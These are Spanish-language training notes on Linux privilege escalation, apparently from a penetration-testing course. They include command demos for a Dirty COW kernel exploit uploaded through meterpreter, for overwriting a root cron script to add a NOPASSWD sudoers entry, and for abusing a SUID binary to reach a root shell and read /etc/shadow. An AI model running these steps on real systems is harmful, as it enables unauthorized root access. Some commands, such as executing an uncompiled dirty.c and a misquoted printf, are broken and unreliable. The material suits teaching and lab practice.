Linux Privilege Escalation

Linux Kernel Exploits

Los exploits del kernel en Linux normalmente apuntan a vulnerabilidades en el kernel de Linux para ejecutar código arbitrario con el fin de ejecutar comandos privilegiados del sistema u obtener un shell del sistema.

Este proceso diferirá según la versión y distribución del kernel objetivo y el exploit del kernel que se utilice.

La escalada de privilegios en sistemas Linux normalmente seguirá la siguiente metodología:

  • Identificar vulnerabilidades del kernel

  • Descargar, compilar y transferir exploits del kernel al sistema de destino.

Tools & Environment

Linux-Exploit-Suggester: Esta herramienta está diseñada para ayudar a detectar deficiencias de seguridad para una determinada máquina basada en Linux/kernel de Linux. Evalúa (utilizando métodos heurísticos) la exposición del kernel dado en cada kernel de Linux conocido públicamente. explotar.

Si ejecuta vulnerabilidades de Kernel que no son compatibles con la version especifica o la version especifica de kernel ejecutandose en el Target, entonces puede causar bloqueos o Kernel Panic, lo que puede conducir a perdida de datos

Demo: Linux Kernel Exploits

# Una vez ya dentro del sistema objetivo, podemos realizar las siguientes 
meterpreter> sysinfo
# En la seccion de "OS" nos indicara la version de Linux y la version de Kernel.
# Recopilar la informacion de los privilegios con los que cuenta el usuario
meterpreter> getuid
# El usuario no tendra ningun privilegio como el usuario comun "www-data"

# Descarge el script "https://github.com/mzet-/linux-exploit-sugester" y transferir
# al objetivo
meterpreter> upload ~/Desktop/Linux-Enum/Les.sh
# Ingresamos por shell
meterpreter> shell
# Cambiamos a un formato de bin/bash
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ ls
www-data@ubuntu$ chmod +x les.sh
www-data@ubuntu$ ls -alps
www-data@ubuntu$ ./les.sh

# Despues de ejecutar el escript va enumerar una lista de vulnerabilidades que 
# esencialmente o mas bien una lista de exploit que esta la version en particular
# de Linux se puede explotar

# El Script tambien trae consigo la informacion mas importante del servidor como:
# La version del Kernel, Arquitectura, Distribucion y version de la Distribucion

# Cada Vulnerabilidad tiene su respectivo CVE
# Los exploits en la parte superior son las que tiene mayor probabilidad de exito
# 

# Se debe de entender muy bien la estructura del Codigo del exploit y tambien los
# requerimientos para ejecutar

# Existe exploit que se pueden copilar desde la maquina del atacante o desde la 
# maquina del objetivo

# Para este ejemplo se utilizara el exploit 40839, el exploit necesita copilarse en 
# el equipo del objetivo
meterpreter> upload /home/kali/Downloads/dirty.c
meterpreter> shell
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ chmod +x dirty.c

www-data@ubuntu$ ./dirty.c Password.123
# Se creara un usuario "Firefart" con la contraseña "Password.123"
# El usuario tendra los privilegios de ROOT

Quiz

Exploiting Misconfigured Cron Jobs

Cron Jobs

Linux implementa la programación de tareas a través de una utilidad llamada Cron.

Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente según un cronograma específico o en un horario especifico.

Una aplicación o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como Cron Job. Cron se puede utilizar para automatizar o repetir una amplia variedad de funciones en un sistema, desde copias de seguridad diarias hasta actualizaciones y parches del sistema.

El archivo crontab es un archivo de configuración que utiliza la utilidad Cron para almacenar y realizar un seguimiento (track) de los Cron Jobs que se han creado.

Exploiting Misconfigured Cron Jobs

Los Cron Jobs también se pueden ejecutar como cualquier usuario del sistema; este es un factor muy importante a tener en cuenta, ya que nos centraremos en los Cron Jobs que se han configurado para ejecutarse como usuario "root".

Esto se debe principalmente a que cualquier script o comando que se ejecute mediante un Cron Job se ejecutará como usuario root y, en consecuencia, nos proporcionará acceso de root.

Para elevar nuestros privilegios, necesitaremos encontrar e identificar Cron Jobs programados por el usuario root o los archivos que procesa el trabajo cron.

Demo: Exploiting Misconfigured Cron Jobs

whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>

# Identificar el usuario privelegiado root
cat /etc/passwd

# Verificcar los cron job que se programado con el usuario auhtenticado <User>
crontab -l

# Verificcar los cron job que se programaron con el usuario root, lo cual requiere
# mucha enumeracion

# Identificar un archivo (message) que el propietario sea de la cuenta root
ls -la

# Si intentamos abrir el archivo encontrado que es del usuario root.
# nos dira Permission Denied por que es de propiedad del usuario root
# Buscar e identificar la ruta del script, que ejecuta con cronjob

# El comando busca recursivamente en todos los archivos bajo el directorio /usr 
# la cadena /home/student/message, mostrando la ubicación de las coincidencias y el
# número de línea donde se encuentran.
grep -rnw /usr -e "/home/student/message"

# Identificar si el archivo es:
# 1. Propiedad de la cuenta root
# 2. Identificar que que tenga permisos de lectura/escritura/ejecucion 
#    para el grupo
ls -al /usr/local/share/copy.sh
cat /usr/local/share/copy.sh

# Vamos a buscar la manera de modificar el archivos
printf '#!/bin/bash\necho "student" ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
 
# Verificar que el usuario puede ejecutar todos los comandos sin ninguna contraseña
sudo -l

sudo su
whoami
cd /root
ls

crontab -l

Quiz

Exploitting SUID Binaries

Además de los tres permisos principales de acceso a archivos (lectura, escritura y ejecución), Linux también proporciona a los usuarios permisos especializados que pueden utilizarse en situaciones específicas. Uno de estos permisos de acceso es el permiso SUID (Set Owner User ID - Establecer ID de usuario del propietario).

Cuando se aplica, este permiso brinda a los usuarios la capacidad de ejecutar un script o binario con los permisos del propietario del archivo en lugar del usuario que ejecuta el script o binario.

Los permisos SUID se utilizan normalmente para proporcionar a los usuarios sin privilegios la capacidad de ejecutar scripts o archivos binarios específicos con permisos "root". Cabe señalar, sin embargo, que la provisión de privilegios elevados se limita a la ejecución del script y no se traduce en elevación de privilegios; sin embargo, si los usuarios sin privilegios están configurados incorrectamente pueden aprovechar configuraciones incorrectas o vulnerabilidades dentro del binario o script para obtener una sesión elevada.

Esta es la funcionalidad que intentaremos explotar para elevar nuestros privilegios, sin embargo, el éxito de nuestro ataque dependerá de los siguientes factores:

  • Owner of the SUID binary: Dado que estamos intentando elevar nuestros privilegios, solo explotaremos los binarios SUID que sean propiedad del usuario "root" u otros usuarios privilegiados.

  • Access permissions: Necesitaremos permisos de ejecución para poder ejecutar el binario SUID.

El objetivo es identificar una vulnerabilidad dentro de ese binario que esencialmente podemos aprovechar y tener.

Demo: Exploiting SUID Binaries

whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>

# Identificar el usuario privelegiado root
cat /etc/passwd

# Identificar un archivo que tenga los privilegios de S es el permiso de SUID
# y que el propietario sea de la cuenta root
ls -la

# El comando examinará el contenido del archivo llamado 
# y tratará de identificar su tipo basándose en ciertas 
# características distintivas del contenido del archivo
file <NombreArchivo>

# Analisis statico / Buscar y entender 
# En este ejemplo el script Welcome ejecuta el archivo greetings
strings welcome

rm greetings

# Elevacion de Privilegios
cp /bin/bash greetings
./welcome

whoami
cat /etc/shadow

Explorar las diversas tecnicas de explotacion para SUID

Quiz

Last updated